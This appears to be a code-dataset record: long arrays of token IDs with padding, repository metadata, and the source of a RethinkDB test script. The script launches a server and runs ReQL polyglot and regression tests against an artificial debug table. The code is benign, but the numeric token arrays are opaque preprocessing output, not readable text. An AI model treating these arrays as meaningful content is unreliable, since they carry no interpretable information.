[ 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 221, 710, 14857, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 199, 3, 3826, 12, 1902, 4056, 503, 2478, 14, 221, 1666, 314, 844, 367, 314, 199, 3, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 421, 199, 624, 199, 2765, 2884, 8491, 282, 4683, 7627, 436, 12082, 1584, 14, 199, 199, 8, 18335, 370, 1255, 9, 199, 1548, 4683, 14, 647, 665, 850, 70, 63, 4219, 30, 665, 850, 70, 63, 1023, 30, 665, 1195, 7627, 1329, 30, 665, 3455, 790, 1305, 334, 24, 6318, 5579, 13032, 199, 199, 5556, 883, 2597, 1937, 4212, 370, 1255, 314, 2884, 543, 283, 1548, 4683, 14, 647, 446, 72, 7, 199, 199, 8, 22787, 9, 199, 1548, 4683, 14, 647, 6146, 15, 850, 70, 378, 14, 1079, 14, 16, 413, 662, 11926, 38, 32503, 199, 199, 624, 421, 199, 646, 3873, 199, 646, 15951, 199, 646, 13608, 199, 646, 8337, 199, 646, 747, 199, 646, 7534, 199, 199, 624, 199, 1002, 769, 687, 1275, 71, 5277, 7160, 199, 624, 199, 318, 664, 63, 4247, 63, 513, 8, 850, 70, 63, 4219, 304, 272, 289, 275, 1551, 8, 850, 70, 63, 4219, 435, 3286, 14, 71, 5277, 7160, 401, 298, 82, 531, 272, 340, 289, 365, 488, 26, 267, 372, 942, 339, 3686, 63, 513, 275, 769, 342, 339, 1830, 715, 26, 267, 1004, 275, 289, 14, 6407, 342, 4439, 17, 61, 267, 340, 440, 1004, 26, 288, 2059, 267, 340, 5426, 2, 440, 315, 1004, 26, 288, 3686, 63, 513, 14, 3176, 8, 16, 12, 8969, 6687, 435, 1004, 9, 339, 372, 3686, 63, 513, 199, 199, 624, 199, 5483, 1318, 367, 325, 13, 1198, 199, 624, 199, 318, 664, 63, 1198, 63, 505, 8, 850, 70, 63, 1023, 12, 4819, 63, 1507, 304, 272, 570, 63, 354, 275, 298, 3796, 13, 850, 70, 23245, 435, 295, 2829, 63, 1023, 435, 3905, 1195, 2, 435, 620, 8, 1195, 63, 1507, 9, 435, 3680, 5369, 14, 6838, 2, 339, 372, 63, 495, 275, 3087, 272, 372, 63, 495, 847, 298, 2765, 365, 370, 1240, 367, 282, 892, 24337, 367, 314, 1350, 4683, 402, 3668, 5363, 14153, 298, 971, 267, 435, 295, 2829, 63, 1023, 435, 298, 334, 1195, 2, 435, 620, 8, 1195, 63, 1507, 9, 435, 298, 12013, 78, 60, 78, 2, 272, 372, 63, 495, 847, 298, 1918, 1350, 5330, 330, 452, 12, 5893, 17597, 12, 10017, 83, 12, 5423, 883, 506, 1911, 737, 3427, 78, 2, 435, 3886, 12695, 83, 3072, 78, 60, 78, 2, 272, 372, 63, 495, 847, 298, 1918, 12579, 1947, 365, 4683, 23245, 435, 295, 2829, 63, 1023, 435, 3905, 1195, 2, 435, 620, 8, 1195, 63, 1507, 9, 435, 1867, 78, 2, 272, 372, 63, 495, 847, 298, 1918, 12579, 5532, 2870, 365, 665, 14686, 21447, 2870, 3072, 78, 60, 78, 60, 78, 2, 339, 372, 63, 495, 847, 298, 17394, 83, 402, 17098, 13, 850, 70, 23245, 435, 295, 2829, 63, 1023, 435, 3905, 1195, 2, 435, 620, 8, 1195, 63, 1507, 9, 435, 3680, 5369, 14, 6838, 3427, 78, 60, 78, 2, 339, 6128, 21, 275, 1551, 8, 493, 63, 354, 435, 3680, 1064, 21, 3471, 739, 1252, 1294, 480, 298, 2788, 16, 61, 272, 372, 63, 495, 847, 298, 5127, 21, 26, 298, 435, 6128, 21, 435, 1867, 78, 2, 2286, 7793, 275, 1551, 8, 493, 63, 354, 435, 3680, 4835, 7736, 3471, 739, 1252, 1294, 480, 298, 2788, 16, 61, 272, 372, 63, 495, 847, 298, 8461, 26, 298, 435, 7793, 435, 1867, 78, 2, 339, 372, 63, 495, 847, 1867, 78, 9625, 27990, 787, 10514, 543, 282, 790, 1911, 315, 314, 9301, 51, 570, 2808, 2348, 3427, 78, 2, 272, 372, 63, 495, 847, 1867, 78, 2859, 921, 2686, 14, 3796, 14, 1308, 15, 11857, 15, 2686, 15, 3221, 15, 850, 70, 15, 17434, 60, 78, 60, 78, 60, 78, 60, 78, 2, 339, 372, 63, 495, 847, 3886, 17106, 3868, 780, 3072, 78, 60, 78, 60, 78, 60, 78, 2, 339, 372, 63, 495, 847, 298, 1918, 24337, 911, 506, 1551, 367, 15323, 10857, 14, 7754, 5235, 314, 4683, 60, 78, 2, 971, 267, 435, 298, 9007, 12, 1104, 314, 14647, 15, 5233, 12, 1900, 652, 436, 511, 652, 12, 436, 2066, 60, 1590, 1756, 24337, 3427, 78, 60, 78, 2, 971, 267, 435, 7369, 1622, 435, 17, 17646, 642, 2559, 465, 3668, 5363, 14153, 298, 435, 295, 2829, 63, 1023, 435, 1867, 78, 2, 971, 267, 435, 7369, 1622, 435, 16, 949, 1687, 262, 1636, 60, 78, 2, 971, 267, 435, 7369, 1622, 446, 17, 4226, 440, 4683, 642, 2559, 2952, 2263, 60, 78, 60, 78, 2, 971, 267, 435, 298, 2719, 25088, 9539, 339, 372, 372, 63, 495, 199, 199, 624, 199, 3481, 370, 5760, 1584, 315, 1275, 71, 5277, 7160, 1380, 10663, 5330, 14, 6838, 199, 1767, 2549, 1380, 282, 570, 365, 315, 1275, 71, 5277, 7160, 199, 624, 199, 318, 5760, 63, 3187, 63, 4247, 8, 493, 63, 354, 304, 272, 3686, 63, 513, 275, 664, 63, 4247, 63, 513, 8, 850, 70, 63, 4219, 9, 272, 367, 325, 315, 3686, 63, 513, 26, 267, 340, 15951, 14, 15359, 8, 493, 63, 354, 12, 325, 304, 288, 372, 715, 339, 372, 15951, 14, 15359, 8, 493, 63, 354, 12, 8969, 8083, 3187, 531, 503, 15951 ]
[ 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 221, 710, 14857, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 199, 3, 3826, 12, 1902, 4056, 503, 2478, 14, 221, 1666, 314, 844, 367, 314, 199, 3, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 421, 199, 624, 199, 2765, 2884, 8491, 282, 4683, 7627, 436, 12082, 1584, 14, 199, 199, 8, 18335, 370, 1255, 9, 199, 1548, 4683, 14, 647, 665, 850, 70, 63, 4219, 30, 665, 850, 70, 63, 1023, 30, 665, 1195, 7627, 1329, 30, 665, 3455, 790, 1305, 334, 24, 6318, 5579, 13032, 199, 199, 5556, 883, 2597, 1937, 4212, 370, 1255, 314, 2884, 543, 283, 1548, 4683, 14, 647, 446, 72, 7, 199, 199, 8, 22787, 9, 199, 1548, 4683, 14, 647, 6146, 15, 850, 70, 378, 14, 1079, 14, 16, 413, 662, 11926, 38, 32503, 199, 199, 624, 421, 199, 646, 3873, 199, 646, 15951, 199, 646, 13608, 199, 646, 8337, 199, 646, 747, 199, 646, 7534, 199, 199, 624, 199, 1002, 769, 687, 1275, 71, 5277, 7160, 199, 624, 199, 318, 664, 63, 4247, 63, 513, 8, 850, 70, 63, 4219, 304, 272, 289, 275, 1551, 8, 850, 70, 63, 4219, 435, 3286, 14, 71, 5277, 7160, 401, 298, 82, 531, 272, 340, 289, 365, 488, 26, 267, 372, 942, 339, 3686, 63, 513, 275, 769, 342, 339, 1830, 715, 26, 267, 1004, 275, 289, 14, 6407, 342, 4439, 17, 61, 267, 340, 440, 1004, 26, 288, 2059, 267, 340, 5426, 2, 440, 315, 1004, 26, 288, 3686, 63, 513, 14, 3176, 8, 16, 12, 8969, 6687, 435, 1004, 9, 339, 372, 3686, 63, 513, 199, 199, 624, 199, 5483, 1318, 367, 325, 13, 1198, 199, 624, 199, 318, 664, 63, 1198, 63, 505, 8, 850, 70, 63, 1023, 12, 4819, 63, 1507, 304, 272, 570, 63, 354, 275, 298, 3796, 13, 850, 70, 23245, 435, 295, 2829, 63, 1023, 435, 3905, 1195, 2, 435, 620, 8, 1195, 63, 1507, 9, 435, 3680, 5369, 14, 6838, 2, 339, 372, 63, 495, 275, 3087, 272, 372, 63, 495, 847, 298, 2765, 365, 370, 1240, 367, 282, 892, 24337, 367, 314, 1350, 4683, 402, 3668, 5363, 14153, 298, 971, 267, 435, 295, 2829, 63, 1023, 435, 298, 334, 1195, 2, 435, 620, 8, 1195, 63, 1507, 9, 435, 298, 12013, 78, 60, 78, 2, 272, 372, 63, 495, 847, 298, 1918, 1350, 5330, 330, 452, 12, 5893, 17597, 12, 10017, 83, 12, 5423, 883, 506, 1911, 737, 3427, 78, 2, 435, 3886, 12695, 83, 3072, 78, 60, 78, 2, 272, 372, 63, 495, 847, 298, 1918, 12579, 1947, 365, 4683, 23245, 435, 295, 2829, 63, 1023, 435, 3905, 1195, 2, 435, 620, 8, 1195, 63, 1507, 9, 435, 1867, 78, 2, 272, 372, 63, 495, 847, 298, 1918, 12579, 5532, 2870, 365, 665, 14686, 21447, 2870, 3072, 78, 60, 78, 60, 78, 2, 339, 372, 63, 495, 847, 298, 17394, 83, 402, 17098, 13, 850, 70, 23245, 435, 295, 2829, 63, 1023, 435, 3905, 1195, 2, 435, 620, 8, 1195, 63, 1507, 9, 435, 3680, 5369, 14, 6838, 3427, 78, 60, 78, 2, 339, 6128, 21, 275, 1551, 8, 493, 63, 354, 435, 3680, 1064, 21, 3471, 739, 1252, 1294, 480, 298, 2788, 16, 61, 272, 372, 63, 495, 847, 298, 5127, 21, 26, 298, 435, 6128, 21, 435, 1867, 78, 2, 2286, 7793, 275, 1551, 8, 493, 63, 354, 435, 3680, 4835, 7736, 3471, 739, 1252, 1294, 480, 298, 2788, 16, 61, 272, 372, 63, 495, 847, 298, 8461, 26, 298, 435, 7793, 435, 1867, 78, 2, 339, 372, 63, 495, 847, 1867, 78, 9625, 27990, 787, 10514, 543, 282, 790, 1911, 315, 314, 9301, 51, 570, 2808, 2348, 3427, 78, 2, 272, 372, 63, 495, 847, 1867, 78, 2859, 921, 2686, 14, 3796, 14, 1308, 15, 11857, 15, 2686, 15, 3221, 15, 850, 70, 15, 17434, 60, 78, 60, 78, 60, 78, 60, 78, 2, 339, 372, 63, 495, 847, 3886, 17106, 3868, 780, 3072, 78, 60, 78, 60, 78, 60, 78, 2, 339, 372, 63, 495, 847, 298, 1918, 24337, 911, 506, 1551, 367, 15323, 10857, 14, 7754, 5235, 314, 4683, 60, 78, 2, 971, 267, 435, 298, 9007, 12, 1104, 314, 14647, 15, 5233, 12, 1900, 652, 436, 511, 652, 12, 436, 2066, 60, 1590, 1756, 24337, 3427, 78, 60, 78, 2, 971, 267, 435, 7369, 1622, 435, 17, 17646, 642, 2559, 465, 3668, 5363, 14153, 298, 435, 295, 2829, 63, 1023, 435, 1867, 78, 2, 971, 267, 435, 7369, 1622, 435, 16, 949, 1687, 262, 1636, 60, 78, 2, 971, 267, 435, 7369, 1622, 446, 17, 4226, 440, 4683, 642, 2559, 2952, 2263, 60, 78, 60, 78, 2, 971, 267, 435, 298, 2719, 25088, 9539, 339, 372, 372, 63, 495, 199, 199, 624, 199, 3481, 370, 5760, 1584, 315, 1275, 71, 5277, 7160, 1380, 10663, 5330, 14, 6838, 199, 1767, 2549, 1380, 282, 570, 365, 315, 1275, 71, 5277, 7160, 199, 624, 199, 318, 5760, 63, 3187, 63, 4247, 8, 493, 63, 354, 304,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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
elkingtonmcb/rethinkdb
test/interface/artificial_table.py
27
2328
#!/usr/bin/env python # Copyright 2014-2015 RethinkDB, all rights reserved. '''This runs a bunch of the ReQL tests against the `rethinkdb._debug_scratch` artificial table to check that `artificial_table_t` works properly.''' from __future__ import print_function import os, subprocess, sys, time startTime = time.time() sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir, 'common'))) import driver, scenario_common, utils, vcoptparse op = vcoptparse.OptParser() scenario_common.prepare_option_parser_mode_flags(op) _, command_prefix, serve_options = scenario_common.parse_mode_flags(op.parse(sys.argv)) r = utils.import_python_driver() print("Spinning up a server (%.2fs)" % (time.time() - startTime)) with driver.Process(files='db', output_folder='.', command_prefix=command_prefix, extra_options=serve_options, wait_until_ready=True) as server: server.check() conn = r.connect(host=server.host, port=server.driver_port) # note: these tests are impicitly run in sequence because of the --table option command_line = [ os.path.join(os.path.dirname(os.path.abspath(__file__)), os.path.pardir, 'rql_test', 'test-runner'), '--cluster-port', str(server.cluster_port), '--driver-port', str(server.driver_port), '--table', 'rethinkdb._debug_scratch'] command_line.extend('polyglot/' + name for name in [ 'control', 'joins', 'match', 'mutation/atomic_get_set', 'mutation/delete', 'mutation/insert', 'mutation/replace', 'mutation/update', 'polymorphism']) command_line.extend('polyglot/regression/%d' % issue_number for issue_number in [ 309, 453, 522, 545, 568, 678, 1155, 1179, 1468, 2399, 2697, 2709, 2838, 2930]) print('Ensuring that db "test" exists for secondary table (%.2fs)' % (time.time() - startTime)) if 'test' not in r.db_list().run(conn): r.db_create('test').run(conn) print("Command line:", " ".join(command_line)) print("Running the QL test (%.2fs)" % (time.time() - startTime)) print('==== Start test-runner Output ====') subprocess.check_call(command_line) print('==== End test-runner Output ====') print("Cleaning up (%.2fs)" % (time.time() - startTime)) print("Done. (%.2fs)" % (time.time() - startTime))
agpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 6927, 13, 7806, 799, 29727, 2846, 12, 1006, 4481, 4644, 14, 199, 199, 2344, 2765, 7858, 282, 22219, 402, 314, 799, 2940, 2295, 6169, 314, 658, 264, 29727, 697, 423, 1757, 63, 27393, 64, 601, 32033, 1817, 370, 1104, 626, 658, 285, 32033, 63, 1224, 63, 84, 64, 5419, 7684, 10595, 199, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 747, 12, 3873, 12, 984, 12, 900, 199, 199, 28276, 275, 900, 14, 521, 342, 199, 199, 1274, 14, 515, 14, 740, 8, 736, 14, 515, 14, 4832, 8, 736, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 747, 14, 515, 14, 21386, 12, 283, 2330, 7058, 199, 646, 5253, 12, 15728, 63, 2330, 12, 3778, 12, 373, 32626, 1122, 199, 199, 411, 275, 373, 32626, 1122, 14, 9985, 2842, 342, 199, 13444, 63, 2330, 14, 6726, 63, 1422, 63, 2087, 63, 632, 63, 2469, 8, 411, 9, 199, 3131, 1414, 63, 1861, 12, 14062, 63, 1419, 275, 15728, 63, 2330, 14, 1122, 63, 632, 63, 2469, 8, 411, 14, 1122, 8, 1274, 14, 3020, 430, 199, 199, 82, 275, 3778, 14, 646, 63, 1548, 63, 3090, 342, 199, 199, 1361, 480, 15519, 1835, 1536, 282, 1654, 32634, 18, 2319, 2924, 450, 334, 521, 14, 521, 342, 446, 28517, 430, 199, 1045, 5253, 14, 3498, 8, 1725, 534, 697, 297, 1072, 63, 3741, 534, 3130, 1414, 63, 1861, 29, 1531, 63, 1861, 12, 2402, 63, 1419, 29, 4909, 63, 1419, 12, 3618, 63, 8111, 63, 2179, 29, 549, 9, 465, 1654, 26, 272, 1654, 14, 1074, 342, 2286, 2557, 275, 519, 14, 2242, 8, 1102, 29, 1000, 14, 1102, 12, 1844, 29, 1000, 14, 3090, 63, 719, 9, 2286, 327, 5317, 26, 3520, 2295, 787, 1742, 530, 390, 590, 1255, 315, 3414, 2952, 402, 314, 1553, 1224, 945, 2286, 1414, 63, 604, 275, 359, 267, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 8, 736, 14, 515, 14, 4832, 3460, 493, 22159, 747, 14, 515, 14, 21386, 12, 283, 82, 1710, 63, 396, 297, 283, 396, 13, 5933, 659, 267, 2850, 4201, 13, 719, 297, 620, 8, 1000, 14, 4201, 63, 719, 395, 267, 2850, 3090, 13, 719, 297, 620, 8, 1000, 14, 3090, 63, 719, 395, 267, 2850, 1224, 297, 283, 264, 29727, 697, 423, 1757, 63, 27393, 418, 272, 1414, 63, 604, 14, 2880, 360, 2515, 5016, 1653, 4805, 435, 536, 367, 536, 315, 359, 267, 283, 2785, 297, 283, 20155, 297, 283, 1431, 297, 267, 283, 11627, 15, 10910, 63, 362, 63, 409, 297, 283, 11627, 15, 1807, 297, 283, 11627, 15, 3176, 297, 267, 283, 11627, 15, 1814, 297, 283, 11627, 15, 873, 297, 283, 6023, 10128, 19185, 1105, 272, 1414, 63, 604, 14, 2880, 360, 2515, 5016, 1653, 15, 12513, 3149, 68, 7, 450, 4976, 63, 1955, 367, 4976, 63, 1955, 315, 359, 267, 650, 1643, 12, 841, 2481, 12, 959, 1081, 12, 959, 2322, 12, 959, 2333, 12, 1227, 2277, 12, 413, 11520, 12, 413, 10699, 12, 4329, 2333, 12, 6546, 1020, 12, 499, 19301, 12, 267, 8087, 1643, 12, 7294, 1703, 12, 7349, 1216, 566, 2286, 870, 360, 37, 561, 4039, 626, 1592, 298, 396, 2, 3495, 367, 13851, 1817, 32634, 18, 2319, 3171, 450, 334, 521, 14, 521, 342, 446, 28517, 430, 272, 340, 283, 396, 7, 440, 315, 519, 14, 697, 63, 513, 1252, 1065, 8, 1631, 304, 267, 519, 14, 697, 63, 981, 360, 396, 1959, 1065, 8, 1631, 9, 2286, 870, 480, 3110, 1004, 6783, 298, 3680, 904, 8, 1531, 63, 604, 430, 272, 870, 480, 9602, 314, 1413, 44, 511, 32634, 18, 2319, 2924, 450, 334, 521, 14, 521, 342, 446, 28517, 430, 339, 870, 360, 532, 7707, 511, 13, 5933, 7242, 275, 5918, 358, 272, 3873, 14, 1074, 63, 1250, 8, 1531, 63, 604, 9, 272, 870, 360, 532, 9599, 511, 13, 5933, 7242, 275, 5918, 358, 2286, 870, 480, 6580, 316, 1536, 32634, 18, 2319, 2924, 450, 334, 521, 14, 521, 342, 446, 28517, 430, 199, 1361, 480, 10759, 14, 32634, 18, 2319, 2924, 450, 334, 521, 14, 521, 342, 446, 28517, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 6927, 13, 7806, 799, 29727, 2846, 12, 1006, 4481, 4644, 14, 199, 199, 2344, 2765, 7858, 282, 22219, 402, 314, 799, 2940, 2295, 6169, 314, 658, 264, 29727, 697, 423, 1757, 63, 27393, 64, 601, 32033, 1817, 370, 1104, 626, 658, 285, 32033, 63, 1224, 63, 84, 64, 5419, 7684, 10595, 199, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 747, 12, 3873, 12, 984, 12, 900, 199, 199, 28276, 275, 900, 14, 521, 342, 199, 199, 1274, 14, 515, 14, 740, 8, 736, 14, 515, 14, 4832, 8, 736, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 747, 14, 515, 14, 21386, 12, 283, 2330, 7058, 199, 646, 5253, 12, 15728, 63, 2330, 12, 3778, 12, 373, 32626, 1122, 199, 199, 411, 275, 373, 32626, 1122, 14, 9985, 2842, 342, 199, 13444, 63, 2330, 14, 6726, 63, 1422, 63, 2087, 63, 632, 63, 2469, 8, 411, 9, 199, 3131, 1414, 63, 1861, 12, 14062, 63, 1419, 275, 15728, 63, 2330, 14, 1122, 63, 632, 63, 2469, 8, 411, 14, 1122, 8, 1274, 14, 3020, 430, 199, 199, 82, 275, 3778, 14, 646, 63, 1548, 63, 3090, 342, 199, 199, 1361, 480, 15519, 1835, 1536, 282, 1654, 32634, 18, 2319, 2924, 450, 334, 521, 14, 521, 342, 446, 28517, 430, 199, 1045, 5253, 14, 3498, 8, 1725, 534, 697, 297, 1072, 63, 3741, 534, 3130, 1414, 63, 1861, 29, 1531, 63, 1861, 12, 2402, 63, 1419, 29, 4909, 63, 1419, 12, 3618, 63, 8111, 63, 2179, 29, 549, 9, 465, 1654, 26, 272, 1654, 14, 1074, 342, 2286, 2557, 275, 519, 14, 2242, 8, 1102, 29, 1000, 14, 1102, 12, 1844, 29, 1000, 14, 3090, 63, 719, 9, 2286, 327, 5317, 26, 3520, 2295, 787, 1742, 530, 390, 590, 1255, 315, 3414, 2952, 402, 314, 1553, 1224, 945, 2286, 1414, 63, 604, 275, 359, 267, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 8, 736, 14, 515, 14, 4832, 3460, 493, 22159, 747, 14, 515, 14, 21386, 12, 283, 82, 1710, 63, 396, 297, 283, 396, 13, 5933, 659, 267, 2850, 4201, 13, 719, 297, 620, 8, 1000, 14, 4201, 63, 719, 395, 267, 2850, 3090, 13, 719, 297, 620, 8, 1000, 14, 3090, 63, 719, 395, 267, 2850, 1224, 297, 283, 264, 29727, 697, 423, 1757, 63, 27393, 418, 272, 1414, 63, 604, 14, 2880, 360, 2515, 5016, 1653, 4805, 435, 536, 367, 536, 315, 359, 267, 283, 2785, 297, 283, 20155, 297, 283, 1431, 297, 267, 283, 11627, 15, 10910, 63, 362, 63, 409, 297, 283, 11627, 15, 1807, 297, 283, 11627, 15, 3176, 297, 267, 283, 11627, 15, 1814, 297, 283, 11627, 15, 873, 297, 283, 6023, 10128, 19185, 1105, 272, 1414, 63, 604, 14, 2880, 360, 2515, 5016, 1653, 15, 12513, 3149, 68, 7, 450, 4976, 63, 1955, 367, 4976, 63, 1955, 315, 359, 267, 650, 1643, 12, 841, 2481, 12, 959, 1081, 12, 959, 2322, 12, 959, 2333, 12, 1227, 2277, 12, 413, 11520, 12, 413, 10699, 12, 4329, 2333, 12, 6546, 1020, 12, 499, 19301, 12, 267, 8087, 1643, 12, 7294, 1703, 12, 7349, 1216, 566, 2286, 870, 360, 37, 561, 4039, 626, 1592, 298, 396, 2, 3495, 367, 13851, 1817, 32634, 18, 2319, 3171, 450, 334, 521, 14, 521, 342, 446, 28517, 430, 272, 340, 283, 396, 7, 440, 315, 519, 14, 697, 63, 513, 1252, 1065, 8, 1631, 304, 267, 519, 14, 697, 63, 981, 360, 396, 1959, 1065, 8, 1631, 9, 2286, 870, 480, 3110, 1004, 6783, 298, 3680, 904, 8, 1531, 63, 604, 430, 272, 870, 480, 9602, 314, 1413, 44, 511, 32634, 18, 2319, 2924, 450, 334, 521, 14, 521, 342, 446, 28517, 430, 339, 870, 360, 532, 7707, 511, 13, 5933, 7242, 275, 5918, 358, 272, 3873, 14, 1074, 63, 1250, 8, 1531, 63, 604, 9, 272, 870, 360, 532, 9599, 511, 13, 5933, 7242, 275, 5918, 358, 2286, 870, 480, 6580, 316, 1536, 32634, 18, 2319, 2924, 450, 334, 521, 14, 521, 342, 446, 28517, 430, 199, 1361, 480, 10759, 14, 32634, 18, 2319, 2924, 450, 334, 521, 14, 521, 342, 446, 28517, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 